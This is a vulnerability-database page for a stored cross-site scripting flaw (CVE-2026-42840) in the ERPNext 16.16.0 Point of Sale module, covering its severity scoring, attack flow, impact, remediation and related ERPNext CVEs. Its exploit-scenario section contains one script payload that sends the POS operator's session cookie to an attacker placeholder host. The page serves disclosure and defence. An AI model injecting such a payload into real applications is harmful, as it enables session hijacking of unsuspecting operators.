Skip to main content

ERPNext EUVDEUVD-2026-34157

| CVE-2026-42840 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-03 Fluid Attacks GHSA-w2pq-xvqr-7fqw
5.1
CVSS 4.0 · Vendor: Fluid Attacks
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to ERPNext with low-privilege account
  2. Delivery
    Open Customer record with edit access
  3. Exploit
    Inject XSS payload into email_id or mobile_no field
  4. Install
    Save poisoned record to database
  5. C2
    POS operator selects affected customer in POS interface
  6. Execute
    Payload executes in operator browser context
  7. Impact
    Exfiltrate session token or manipulate POS UI

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated ERPNext account with write access to Customer records - specifically permission to modify the email_id or mobile_no fields (confirmed by PR:L in the CVSS 4.0 vector). The vulnerability is triggered in the Point of Sale (POS) module specifically: payload execution occurs only when a POS operator selects the poisoned customer during a transaction, meaning at least one POS operator session must interact with that customer record (UI:P). The affected deployment must be running ERPNext version 16.16.0 and have the POS module active with the standard Customer lookup enabled. Limiting factors include: the attacker cannot be anonymous - a valid ERPNext login with Customer write permissions is mandatory; the payload does not execute server-side or via direct URL access - it requires the POS operator to perform the customer selection UI action; and the impact is scoped to the operator's browser session (no server compromise or availability impact). There is no requirement for a non-default configuration beyond having the POS module in use, which is standard for retail and front-desk ERPNext deployments.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately reflects a constrained but realistic threat: the attack is network-accessible (AV:N), low complexity (AC:L), requires no special attack conditions (AT:N), but does demand a low-privileged authenticated account (PR:L) and passive user interaction from a POS operator (UI:P). Confidentiality and integrity impacts are rated Low on both the vulnerable system and downstream scope (VC:L/VI:L/SC:L/SI:L), with no availability impact. The stored nature of the XSS is the most significant real-world risk amplifier: the payload persists and fires for every operator who encounters the customer, whereas reflected XSS requires per-victim delivery. In environments with high POS transaction volume, a single injection could compromise many operator sessions. The primary attacker prerequisite - a valid account with Customer record write access - limits opportunistic exploitation but is plausible for insider threat, compromised low-privilege accounts, or overly permissive role assignments common in SMB ERP deployments. EPSS data is absent from available sources, and no KEV listing exists, indicating no confirmed widespread exploitation. The score is appropriate and should not be dismissed solely on its Medium classification given the persistence characteristic.

Exploit ScenarioDerived

An authenticated ERPNext user with Customer record edit access - such as a sales clerk, data entry operator, or compromised low-privilege account - saves a payload such as <script>fetch('https://attacker.example/c?s='+document.cookie)</script> into the email_id field of a frequently used customer record. The next time any POS operator opens the POS interface and selects that customer to process a transaction, the script silently exfiltrates the operator's session cookie to an attacker-controlled endpoint, enabling session hijacking and unauthorized access to POS and ERPNext functions under the operator's identity. No public proof-of-concept code has been identified at time of analysis, though the attack requires only basic knowledge of browser-side JavaScript and HTTP.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 03, 2026

Stored cross-site scripting in ERPNext 16.16.0 allows authenticated users to inject arbitrary HTML and JavaScript into the email_id or mobile_no fields of Customer records, which execute silently in the browser of every Point of Sale (POS) operator who subsequently selects the poisoned customer. Because the payload persists in the database, a single injection event affects all future POS operator sessions that encounter that customer - creating a multiplier effect without requiring repeated attacker access. No public exploit code or CISA KEV listing exists at time of analysis; EPSS data was not provided in available intelligence sources.

RemediationAI

The primary remediation is to upgrade ERPNext beyond version 16.16.0 once a patched release is published by Frappe Technologies; as of this analysis, no specific fixed version has been confirmed - the upstream repository at https://github.com/frappe/erpnext and the Fluid Attacks advisory at https://fluidattacks.com/es/advisories/weeknd should be monitored for patch availability and associated release notes. As an immediate compensating control, administrators should audit and restrict Customer record write permissions (specifically the ability to edit email_id and mobile_no fields) to the minimum set of trusted roles, reducing the pool of accounts capable of injecting payloads - note this adds administrative overhead for legitimate customer data updates. Server-side input validation rejecting HTML special characters (<, >, &, ", ') on the email_id and mobile_no fields can block the injection vector without affecting legitimate email addresses or phone numbers, though this must be enforced at the application layer rather than client-side alone. Additionally, deploying a Content Security Policy (CSP) header that blocks inline script execution in the POS interface would prevent payload execution even if injection occurs, but this requires testing against ERPNext's own JavaScript dependencies to avoid breaking POS functionality.

Affected VersionsENISA

ERPNext 16.16.0

Affected Packages

euvd erpnext no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ERPNext is an open-source enterprise resource planning platform built on the Frappe framework (CPE: cpe:2.3:a:frappe:erpnext). The vulnerability is a stored (persistent) variant of CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting). User-supplied data submitted to the email_id and mobile_no fields of Customer records is written to the database without adequate sanitization and is subsequently rendered in the Point of Sale interface without output encoding. When the POS module resolves a customer lookup, the raw field values are injected directly into the DOM, causing any embedded HTML or JavaScript to execute in the victim operator's browser. This is distinct from reflected XSS in that no crafted link needs to be delivered to the victim - the payload fires automatically whenever the affected customer record is accessed in the POS context.

Know when Erpnext gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Fluid Attacks) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Fluid Attacks) · only source for this CVE.

CVSS VectorVendor: Fluid Attacks

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Jun 03, 2026 - 19:22 NVD
5.1 (MEDIUM)
CVE Published
Jun 03, 2026 - 17:35 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

An authenticated user can persist arbitrary HTML/JavaScript in the email_id or mobile_no fields of a Customer record and trigger unescaped rendering in the Point of Sale (POS) interface for every operator who selects that customer. This issue affects ERPNext: 16.16.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-67289 CRITICAL POC
9.6 Dec 22

Stored cross-site scripting leading to code execution in Frappe Framework 15.89.0 (and the ERPNext application built on

CVE-2018-3885 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3884 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3883 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3882 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2025-66440 HIGH POC
8.8 Dec 15

Authenticated SQL injection in Frappe ERPNext through 15.89.0 allows low-privilege users to extract arbitrary database c

CVE-2025-66439 HIGH POC
8.8 Dec 15

SQL injection in Frappe ERPNext through 15.89.0 lets an authenticated attacker with a valid session and access to the Pa

CVE-2025-66438 HIGH POC
8.8 Dec 15

Authenticated attackers with permission to create or modify Print Format documents in Frappe ERPNext through 15.89.0 can

CVE-2025-66437 HIGH POC
8.8 Dec 15

Authenticated server-side template injection in Frappe ERPNext through 15.89.0 lets a user who can create or modify an A

CVE-2025-66434 HIGH POC
8.8 Dec 15

Authenticated server-side template injection in Frappe ERPNext through 15.89.0 allows users with privileges to configure

CVE-2020-6145 HIGH POC
8.8 Aug 10

An SQL injection vulnerability exists in the frappe.desk.reportview.get functionality of ERPNext 11.1.38. Rated high sev

CVE-2023-54345 HIGH POC
8.7 May 05

Frappe Framework ERPNext 13.4.0 contains a sandbox escape vulnerability in RestrictedPython that allows authenticated us

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy